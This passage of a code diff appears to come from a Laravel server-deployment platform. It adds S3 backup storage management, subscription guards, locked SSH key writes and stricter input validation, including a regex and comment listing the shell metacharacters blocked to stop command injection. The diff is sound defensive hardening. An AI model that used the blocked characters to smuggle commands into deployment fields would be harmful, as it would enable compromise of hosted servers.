||||
{
|
||||
$backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)
|
||||
->where('save_s3', true)
|
||||
->get();
|
||||
|
||||
foreach ($backups as $backup) {
|
||||
$this->selectedStorages[$backup->id] = $this->storage->id;
|
||||
}
|
||||
}
|
||||
|
||||
public function disableS3(int $backupId): void
|
||||
{
|
||||
$backup = ScheduledDatabaseBackup::findOrFail($backupId);
|
||||
|
||||
$backup->update([
|
||||
'save_s3' => false,
|
||||
's3_storage_id' => null,
|
||||
]);
|
||||
|
||||
unset($this->selectedStorages[$backupId]);
|
||||
|
||||
$this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.');
|
||||
}
|
||||
|
||||
public function moveBackup(int $backupId): void
|
||||
{
|
||||
$backup = ScheduledDatabaseBackup::findOrFail($backupId);
|
||||
$newStorageId = $this->selectedStorages[$backupId] ?? null;
|
||||
|
||||
if (! $newStorageId || (int) $newStorageId === $this->storage->id) {
|
||||
$this->dispatch('error', 'No change.', 'The backup is already using this storage.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$newStorage = S3Storage::where('id', $newStorageId)
|
||||
->where('team_id', $this->storage->team_id)
|
||||
->first();
|
||||
|
||||
if (! $newStorage) {
|
||||
$this->dispatch('error', 'Storage not found.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$backup->update(['s3_storage_id' => $newStorage->id]);
|
||||
|
||||
unset($this->selectedStorages[$backupId]);
|
||||
|
||||
$this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}.");
|
||||
}
|
||||
|
||||
public function render()
|
||||
{
|
||||
$backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)
|
||||
->where('save_s3', true)
|
||||
->with('database')
|
||||
->get()
|
||||
->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id);
|
||||
|
||||
$allStorages = S3Storage::where('team_id', $this->storage->team_id)
|
||||
->orderBy('name')
|
||||
->get(['id', 'name', 'is_usable']);
|
||||
|
||||
return view('livewire.storage.resources', [
|
||||
'groupedBackups' => $backups,
|
||||
'allStorages' => $allStorages,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Livewire\Storage;
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
|
|
@ -12,6 +13,10 @@ class Show extends Component
|
|||
|
||||
public $storage = null;
|
||||
|
||||
public string $currentRoute = '';
|
||||
|
||||
public int $backupCount = 0;
|
||||
|
||||
public function mount()
|
||||
{
|
||||
$this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first();
|
||||
|
|
@ -19,6 +24,21 @@ public function mount()
|
|||
abort(404);
|
||||
}
|
||||
$this->authorize('view', $this->storage);
|
||||
$this->currentRoute = request()->route()->getName();
|
||||
$this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count();
|
||||
}
|
||||
|
||||
public function delete()
|
||||
{
|
||||
try {
|
||||
$this->authorize('delete', $this->storage);
|
||||
|
||||
$this->storage->delete();
|
||||
|
||||
return redirect()->route('storage.index');
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
public function render()
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@
|
|||
use App\Actions\Stripe\ResumeSubscription;
|
||||
use App\Actions\Stripe\UpdateSubscriptionQuantity;
|
||||
use App\Models\Team;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Livewire\Component;
|
||||
use Stripe\StripeClient;
|
||||
|
|
@ -31,10 +32,15 @@ class Actions extends Component
|
|||
|
||||
public bool $refundAlreadyUsed = false;
|
||||
|
||||
public string $billingInterval = 'monthly';
|
||||
|
||||
public ?string $nextBillingDate = null;
|
||||
|
||||
public function mount(): void
|
||||
{
|
||||
$this->server_limits = Team::serverLimit();
|
||||
$this->quantity = (int) $this->server_limits;
|
||||
$this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly';
|
||||
}
|
||||
|
||||
public function loadPricePreview(int $quantity): void
|
||||
|
|
@ -198,6 +204,10 @@ private function checkRefundEligibility(): void
|
|||
$result = (new RefundSubscription)->checkEligibility(currentTeam());
|
||||
$this->isRefundEligible = $result['eligible'];
|
||||
$this->refundDaysRemaining = $result['days_remaining'];
|
||||
|
||||
if ($result['current_period_end']) {
|
||||
$this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y');
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
\Log::warning('Refund eligibility check failed: '.$e->getMessage());
|
||||
}
|
||||
|
|
|
|||
|
|
@ -11,6 +11,12 @@ class PricingPlans extends Component
|
|||
{
|
||||
public function subscribeStripe($type)
|
||||
{
|
||||
if (currentTeam()->subscription?->stripe_invoice_paid) {
|
||||
$this->dispatch('error', 'Team already has an active subscription.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
Stripe::setApiKey(config('subscription.stripe_api_key'));
|
||||
|
||||
$priceId = match ($type) {
|
||||
|
|
|
|||
|
|
@ -14,6 +14,7 @@ class LocalFileVolume extends BaseModel
|
|||
// 'mount_path' => 'encrypted',
|
||||
'content' => 'encrypted',
|
||||
'is_directory' => 'boolean',
|
||||
'is_preview_suffix_enabled' => 'boolean',
|
||||
];
|
||||
|
||||
use HasFactory;
|
||||
|
|
|
|||
|
|
@ -3,13 +3,16 @@
|
|||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Casts\Attribute;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
class LocalPersistentVolume extends Model
|
||||
class LocalPersistentVolume extends BaseModel
|
||||
{
|
||||
protected $guarded = [];
|
||||
|
||||
protected $casts = [
|
||||
'is_preview_suffix_enabled' => 'boolean',
|
||||
];
|
||||
|
||||
public function resource()
|
||||
{
|
||||
return $this->morphTo('resource');
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@
|
|||
use App\Traits\HasSafeStringAttribute;
|
||||
use DanHarrin\LivewireRateLimiting\WithRateLimiting;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use OpenApi\Attributes as OA;
|
||||
|
|
@ -65,6 +66,20 @@ protected static function booted()
|
|||
}
|
||||
});
|
||||
|
||||
static::saved(function ($key) {
|
||||
if ($key->wasChanged('private_key')) {
|
||||
try {
|
||||
$key->storeInFileSystem();
|
||||
refresh_server_connection($key);
|
||||
} catch (\Exception $e) {
|
||||
Log::error('Failed to resync SSH key after update', [
|
||||
'key_uuid' => $key->uuid,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
static::deleted(function ($key) {
|
||||
self::deleteFromStorage($key);
|
||||
});
|
||||
|
|
@ -185,29 +200,54 @@ public function storeInFileSystem()
|
|||
{
|
||||
$filename = "ssh_key@{$this->uuid}";
|
||||
$disk = Storage::disk('ssh-keys');
|
||||
$keyLocation = $this->getKeyLocation();
|
||||
$lockFile = $keyLocation.'.lock';
|
||||
|
||||
// Ensure the storage directory exists and is writable
|
||||
$this->ensureStorageDirectoryExists();
|
||||
|
||||
// Attempt to store the private key
|
||||
$success = $disk->put($filename, $this->private_key);
|
||||
|
||||
if (! $success) {
|
||||
throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$this->getKeyLocation()}");
|
||||
// Use file locking to prevent concurrent writes from corrupting the key
|
||||
$lockHandle = fopen($lockFile, 'c');
|
||||
if ($lockHandle === false) {
|
||||
throw new \Exception("Failed to open lock file for SSH key: {$lockFile}");
|
||||
}
|
||||
|
||||
// Verify the file was actually created and has content
|
||||
if (! $disk->exists($filename)) {
|
||||
throw new \Exception("SSH key file was not created: {$this->getKeyLocation()}");
|
||||
}
|
||||
try {
|
||||
if (! flock($lockHandle, LOCK_EX)) {
|
||||
throw new \Exception("Failed to acquire lock for SSH key: {$keyLocation}");
|
||||
}
|
||||
|
||||
$storedContent = $disk->get($filename);
|
||||
if (empty($storedContent) || $storedContent !== $this->private_key) {
|
||||
$disk->delete($filename); // Clean up the bad file
|
||||
throw new \Exception("SSH key file content verification failed: {$this->getKeyLocation()}");
|
||||
}
|
||||
// Attempt to store the private key
|
||||
$success = $disk->put($filename, $this->private_key);
|
||||
|
||||
return $this->getKeyLocation();
|
||||
if (! $success) {
|
||||
throw new \Exception("Failed to write SSH key to filesystem. Check disk space and permissions for: {$keyLocation}");
|
||||
}
|
||||
|
||||
// Verify the file was actually created and has content
|
||||
if (! $disk->exists($filename)) {
|
||||
throw new \Exception("SSH key file was not created: {$keyLocation}");
|
||||
}
|
||||
|
||||
$storedContent = $disk->get($filename);
|
||||
if (empty($storedContent) || $storedContent !== $this->private_key) {
|
||||
$disk->delete($filename); // Clean up the bad file
|
||||
throw new \Exception("SSH key file content verification failed: {$keyLocation}");
|
||||
}
|
||||
|
||||
// Ensure correct permissions for SSH (0600 required)
|
||||
if (file_exists($keyLocation) && ! chmod($keyLocation, 0600)) {
|
||||
Log::warning('Failed to set SSH key file permissions to 0600', [
|
||||
'key_uuid' => $this->uuid,
|
||||
'path' => $keyLocation,
|
||||
]);
|
||||
}
|
||||
|
||||
return $keyLocation;
|
||||
} finally {
|
||||
flock($lockHandle, LOCK_UN);
|
||||
fclose($lockHandle);
|
||||
}
|
||||
}
|
||||
|
||||
public static function deleteFromStorage(self $privateKey)
|
||||
|
|
@ -254,12 +294,6 @@ public function updatePrivateKey(array $data)
|
|||
return DB::transaction(function () use ($data) {
|
||||
$this->update($data);
|
||||
|
||||
try {
|
||||
$this->storeInFileSystem();
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception('Failed to update SSH key: '.$e->getMessage());
|
||||
}
|
||||
|
||||
return $this;
|
||||
});
|
||||
}
|
||||
|
|
|
|||
|
|
@ -40,6 +40,13 @@ protected static function boot(): void
|
|||
$storage->secret = trim($storage->secret);
|
||||
}
|
||||
});
|
||||
|
||||
static::deleting(function (S3Storage $storage) {
|
||||
ScheduledDatabaseBackup::where('s3_storage_id', $storage->id)->update([
|
||||
'save_s3' => false,
|
||||
's3_storage_id' => null,
|
||||
]);
|
||||
});
|
||||
}
|
||||
|
||||
public static function ownedByCurrentTeam(array $select = ['*'])
|
||||
|
|
@ -59,6 +66,11 @@ public function team()
|
|||
return $this->belongsTo(Team::class);
|
||||
}
|
||||
|
||||
public function scheduledBackups()
|
||||
{
|
||||
return $this->hasMany(ScheduledDatabaseBackup::class, 's3_storage_id');
|
||||
}
|
||||
|
||||
public function awsUrl()
|
||||
{
|
||||
return "{$this->endpoint}/{$this->bucket}";
|
||||
|
|
|
|||
|
|
@ -135,7 +135,7 @@ protected static function booted()
|
|||
$server->forceFill($payload);
|
||||
});
|
||||
static::saved(function ($server) {
|
||||
if ($server->privateKey?->isDirty()) {
|
||||
if ($server->wasChanged('private_key_id') || $server->privateKey?->isDirty()) {
|
||||
refresh_server_connection($server->privateKey);
|
||||
}
|
||||
});
|
||||
|
|
|
|||
|
|
@ -89,10 +89,13 @@ protected static function booted()
|
|||
});
|
||||
}
|
||||
|
||||
public static function serverLimitReached()
|
||||
public static function serverLimitReached(?Team $team = null)
|
||||
{
|
||||
$serverLimit = Team::serverLimit();
|
||||
$team = currentTeam();
|
||||
$team = $team ?? currentTeam();
|
||||
if (! $team) {
|
||||
return true;
|
||||
}
|
||||
$serverLimit = Team::serverLimit($team);
|
||||
$servers = $team->servers->count();
|
||||
|
||||
return $servers >= $serverLimit;
|
||||
|
|
@ -109,19 +112,23 @@ public function subscriptionPastOverDue()
|
|||
|
||||
public function serverOverflow()
|
||||
{
|
||||
if ($this->serverLimit() < $this->servers->count()) {
|
||||
if (Team::serverLimit($this) < $this->servers->count()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public static function serverLimit()
|
||||
public static function serverLimit(?Team $team = null)
|
||||
{
|
||||
if (currentTeam()->id === 0 && isDev()) {
|
||||
$team = $team ?? currentTeam();
|
||||
if (! $team) {
|
||||
return 0;
|
||||
}
|
||||
if ($team->id === 0 && isDev()) {
|
||||
return 9999999;
|
||||
}
|
||||
$team = Team::find(currentTeam()->id);
|
||||
$team = Team::find($team->id);
|
||||
if (! $team) {
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -197,6 +204,10 @@ public function isAnyNotificationEnabled()
|
|||
|
||||
public function subscriptionEnded()
|
||||
{
|
||||
if (! $this->subscription) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->subscription->update([
|
||||
'stripe_subscription_id' => null,
|
||||
'stripe_cancel_at_period_end' => false,
|
||||
|
|
|
|||
|
|
@ -62,12 +62,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
|
|||
// Ignore errors when facades are not available (e.g., in unit tests)
|
||||
}
|
||||
|
||||
$fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
|
||||
$fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Normalize to lowercase for validation (RFC 1123 hostnames are case-insensitive)
|
||||
$hostname = strtolower($hostname);
|
||||
|
||||
// Additional validation: hostname should not start or end with a dot
|
||||
if (str_starts_with($hostname, '.') || str_ends_with($hostname, '.')) {
|
||||
$fail('The :attribute cannot start or end with a dot.');
|
||||
|
|
@ -100,9 +103,9 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
|
|||
return;
|
||||
}
|
||||
|
||||
// Check if label contains only valid characters (lowercase letters, digits, hyphens)
|
||||
// Check if label contains only valid characters (letters, digits, hyphens)
|
||||
if (! preg_match('/^[a-z0-9-]+$/', $label)) {
|
||||
$fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
|
||||
$fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
|
|
|||
|
|
@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest
|
|||
$maxRestartCount = 0;
|
||||
}
|
||||
|
||||
if ($maxRestartCount > 1000) {
|
||||
Log::warning('High maxRestartCount detected', [
|
||||
'maxRestartCount' => $maxRestartCount,
|
||||
'containers' => $containerStatuses->count(),
|
||||
]);
|
||||
}
|
||||
|
||||
if ($containerStatuses->isEmpty()) {
|
||||
return 'exited';
|
||||
}
|
||||
|
|
@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC
|
|||
$maxRestartCount = 0;
|
||||
}
|
||||
|
||||
if ($maxRestartCount > 1000) {
|
||||
Log::warning('High maxRestartCount detected', [
|
||||
'maxRestartCount' => $maxRestartCount,
|
||||
'containers' => $containers->count(),
|
||||
]);
|
||||
}
|
||||
|
||||
if ($containers->isEmpty()) {
|
||||
return 'exited';
|
||||
}
|
||||
|
|
|
|||
|
|
@ -9,8 +9,8 @@ class ValidationPatterns
|
|||
{
|
||||
/**
|
||||
* Pattern for names excluding all dangerous characters
|
||||
*/
|
||||
public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u';
|
||||
*/
|
||||
public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+$/u';
|
||||
|
||||
/**
|
||||
* Pattern for descriptions excluding all dangerous characters with some additional allowed characters
|
||||
|
|
@ -23,6 +23,32 @@ class ValidationPatterns
|
|||
*/
|
||||
public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/';
|
||||
|
||||
/**
|
||||
* Pattern for directory paths (base_directory, publish_directory, etc.)
|
||||
* Like FILE_PATH_PATTERN but also allows bare "/" (root directory)
|
||||
*/
|
||||
public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/';
|
||||
|
||||
/**
|
||||
* Pattern for Docker build target names (multi-stage build stage names)
|
||||
* Allows alphanumeric, dots, hyphens, and underscores
|
||||
*/
|
||||
public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
|
||||
|
||||
/**
|
||||
* Pattern for shell-safe command strings (docker compose commands, docker run options)
|
||||
* Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns
|
||||
* Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks
|
||||
* Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators)
|
||||
*/
|
||||
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/';
|
||||
|
||||
/**
|
||||
* Pattern for Docker container names
|
||||
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
|
||||
*/
|
||||
public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
|
||||
|
||||
/**
|
||||
* Get validation rules for name fields
|
||||
*/
|
||||
|
|
@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength =
|
|||
public static function nameMessages(): array
|
||||
{
|
||||
return [
|
||||
'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &",
|
||||
'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ & ( ) # , : +',
|
||||
'name.min' => 'The name must be at least :min characters.',
|
||||
'name.max' => 'The name may not be greater than :max characters.',
|
||||
];
|
||||
|
|
@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st
|
|||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation rules for directory path fields (base_directory, publish_directory)
|
||||
*/
|
||||
public static function directoryPathRules(int $maxLength = 255): array
|
||||
{
|
||||
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation rules for Docker build target fields
|
||||
*/
|
||||
public static function dockerTargetRules(int $maxLength = 128): array
|
||||
{
|
||||
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation rules for shell-safe command fields
|
||||
*/
|
||||
public static function shellSafeCommandRules(int $maxLength = 1000): array
|
||||
{
|
||||
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get validation rules for container name fields
|
||||
*/
|
||||
public static function containerNameRules(int $maxLength = 255): array
|
||||
{
|
||||
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get combined validation messages for both name and description fields
|
||||
*/
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Traits;
|
||||
|
||||
use App\Enums\ApplicationDeploymentStatus;
|
||||
use App\Exceptions\DeploymentException;
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Models\Server;
|
||||
use Carbon\Carbon;
|
||||
|
|
@ -103,7 +104,7 @@ public function execute_remote_command(...$commands)
|
|||
try {
|
||||
$this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors);
|
||||
$commandExecuted = true;
|
||||
} catch (\RuntimeException $e) {
|
||||
} catch (\RuntimeException|DeploymentException $e) {
|
||||
$lastError = $e;
|
||||
$errorMessage = $e->getMessage();
|
||||
// Only retry if it's an SSH connection error and we haven't exhausted retries
|
||||
|
|
@ -233,7 +234,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe
|
|||
$error = $process_result->output() ?: 'Command failed with no error output';
|
||||
}
|
||||
$redactedCommand = $this->redact_sensitive_info($command);
|
||||
throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}");
|
||||
throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -101,8 +101,8 @@ function sharedDataApplications()
|
|||
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/',
|
||||
'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable',
|
||||
'custom_network_aliases' => 'string|nullable',
|
||||
'base_directory' => 'string|nullable',
|
||||
'publish_directory' => 'string|nullable',
|
||||
'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
|
||||
'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(),
|
||||
'health_check_enabled' => 'boolean',
|
||||
'health_check_type' => 'string|in:http,cmd',
|
||||
'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
|
||||
|
|
@ -125,21 +125,24 @@ function sharedDataApplications()
|
|||
'limits_cpuset' => 'string|nullable',
|
||||
'limits_cpu_shares' => 'numeric',
|
||||
'custom_labels' => 'string|nullable',
|
||||
'custom_docker_run_options' => 'string|nullable',
|
||||
'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000),
|
||||
// Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate").
|
||||
// Access is gated by API token authentication. Commands run inside the app container, not the host.
|
||||
'post_deployment_command' => 'string|nullable',
|
||||
'post_deployment_command_container' => 'string',
|
||||
'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
|
||||
'pre_deployment_command' => 'string|nullable',
|
||||
'pre_deployment_command_container' => 'string',
|
||||
'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(),
|
||||
'manual_webhook_secret_github' => 'string|nullable',
|
||||
'manual_webhook_secret_gitlab' => 'string|nullable',
|
||||
'manual_webhook_secret_bitbucket' => 'string|nullable',
|
||||
'manual_webhook_secret_gitea' => 'string|nullable',
|
||||
'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
|
||||
'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN],
|
||||
'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(),
|
||||
'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(),
|
||||
'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(),
|
||||
'docker_compose' => 'string|nullable',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
'docker_compose_custom_start_command' => 'string|nullable',
|
||||
'docker_compose_custom_build_command' => 'string|nullable',
|
||||
'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(),
|
||||
'is_container_label_escape_enabled' => 'boolean',
|
||||
];
|
||||
}
|
||||
|
|
|
|||
|
|
@ -137,6 +137,11 @@ function checkMinimumDockerEngineVersion($dockerVersion)
|
|||
|
||||
return $dockerVersion;
|
||||
}
|
||||
function escapeShellValue(string $value): string
|
||||
{
|
||||
return "'".str_replace("'", "'\\''", $value)."'";
|
||||
}
|
||||
|
||||
function executeInDocker(string $containerId, string $command)
|
||||
{
|
||||
$escapedCommand = str_replace("'", "'\\''", $command);
|
||||
|
|
|
|||
|
|
@ -789,7 +789,10 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$mainDirectory = str(base_configuration_dir().'/applications/'.$uuid);
|
||||
}
|
||||
$source = replaceLocalSource($source, $mainDirectory);
|
||||
if ($isPullRequest) {
|
||||
$isPreviewSuffixEnabled = $foundConfig
|
||||
? (bool) data_get($foundConfig, 'is_preview_suffix_enabled', true)
|
||||
: true;
|
||||
if ($isPullRequest && $isPreviewSuffixEnabled) {
|
||||
$source = addPreviewDeploymentSuffix($source, $pull_request_id);
|
||||
}
|
||||
LocalFileVolume::updateOrCreate(
|
||||
|
|
@ -1315,19 +1318,19 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
}
|
||||
if (! $isDatabase && $fqdns instanceof Collection && $fqdns->count() > 0) {
|
||||
$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;
|
||||
$uuid = $resource->uuid;
|
||||
$network = data_get($resource, 'destination.network');
|
||||
$labelUuid = $resource->uuid;
|
||||
$labelNetwork = data_get($resource, 'destination.network');
|
||||
if ($isPullRequest) {
|
||||
$uuid = "{$resource->uuid}-{$pullRequestId}";
|
||||
$labelUuid = "{$resource->uuid}-{$pullRequestId}";
|
||||
}
|
||||
if ($isPullRequest) {
|
||||
$network = "{$resource->destination->network}-{$pullRequestId}";
|
||||
$labelNetwork = "{$resource->destination->network}-{$pullRequestId}";
|
||||
}
|
||||
if ($shouldGenerateLabelsExactly) {
|
||||
switch ($server->proxyType()) {
|
||||
case ProxyTypes::TRAEFIK->value:
|
||||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
uuid: $labelUuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
|
|
@ -1339,8 +1342,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
break;
|
||||
case ProxyTypes::CADDY->value:
|
||||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy(
|
||||
network: $network,
|
||||
uuid: $uuid,
|
||||
network: $labelNetwork,
|
||||
uuid: $labelUuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
|
|
@ -1354,7 +1357,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
}
|
||||
} else {
|
||||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
uuid: $labelUuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
|
|
@ -1364,8 +1367,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
image: $image
|
||||
));
|
||||
$serviceLabels = $serviceLabels->merge(fqdnLabelsForCaddy(
|
||||
network: $network,
|
||||
uuid: $uuid,
|
||||
network: $labelNetwork,
|
||||
uuid: $labelUuid,
|
||||
domains: $fqdns,
|
||||
is_force_https_enabled: $originalResource->isForceHttpsEnabled(),
|
||||
serviceLabels: $serviceLabels,
|
||||
|
|
|
|||
|
|
@ -339,7 +339,18 @@ function generate_application_name(string $git_repository, string $git_branch, ?
|
|||
$cuid = new Cuid2;
|
||||
}
|
||||
|
||||
return Str::kebab("$git_repository:$git_branch-$cuid");
|
||||
$repo_name = str_contains($git_repository, '/') ? last(explode('/', $git_repository)) : $git_repository;
|
||||
|
||||
$name = Str::kebab("$repo_name:$git_branch-$cuid");
|
||||
|
||||
// Strip characters not allowed by NAME_PATTERN
|
||||
$name = preg_replace('/[^\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+/u', '', $name);
|
||||
|
||||
if (empty($name) || mb_strlen($name) < 3) {
|
||||
return generate_random_name($cuid);
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -466,6 +477,36 @@ function validate_cron_expression($expression_to_validate): bool
|
|||
return $isValid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determine if a cron schedule should run now, with deduplication.
|
||||
*
|
||||
* Uses getPreviousRunDate() + last-dispatch tracking to be resilient to queue delays.
|
||||
* Even if the job runs minutes late, it still catches the missed cron window.
|
||||
* Without a dedupKey, falls back to a simple isDue() check.
|
||||
*/
|
||||
function shouldRunCronNow(string $frequency, string $timezone, ?string $dedupKey = null, ?\Illuminate\Support\Carbon $executionTime = null): bool
|
||||
{
|
||||
$cron = new \Cron\CronExpression($frequency);
|
||||
$executionTime = ($executionTime ?? \Illuminate\Support\Carbon::now())->copy()->setTimezone($timezone);
|
||||
|
||||
if ($dedupKey === null) {
|
||||
return $cron->isDue($executionTime);
|
||||
}
|
||||
|
||||
$previousDue = \Illuminate\Support\Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true));
|
||||
$lastDispatched = Cache::get($dedupKey);
|
||||
|
||||
$shouldFire = $lastDispatched === null
|
||||
? $cron->isDue($executionTime)
|
||||
: $previousDue->gt(\Illuminate\Support\Carbon::parse($lastDispatched));
|
||||
|
||||
// Always write: seeds on first miss, refreshes on dispatch.
|
||||
// 30-day static TTL covers all intervals; orphan keys self-clean.
|
||||
Cache::put($dedupKey, ($shouldFire ? $executionTime : $previousDue)->toIso8601String(), 2592000);
|
||||
|
||||
return $shouldFire;
|
||||
}
|
||||
|
||||
function validate_timezone(string $timezone): bool
|
||||
{
|
||||
return in_array($timezone, timezone_identifiers_list());
|
||||
|
|
|
|||
|
|
@ -18,6 +18,7 @@
|
|||
"laravel/fortify": "^1.34.0",
|
||||
"laravel/framework": "^12.49.0",
|
||||
"laravel/horizon": "^5.43.0",
|
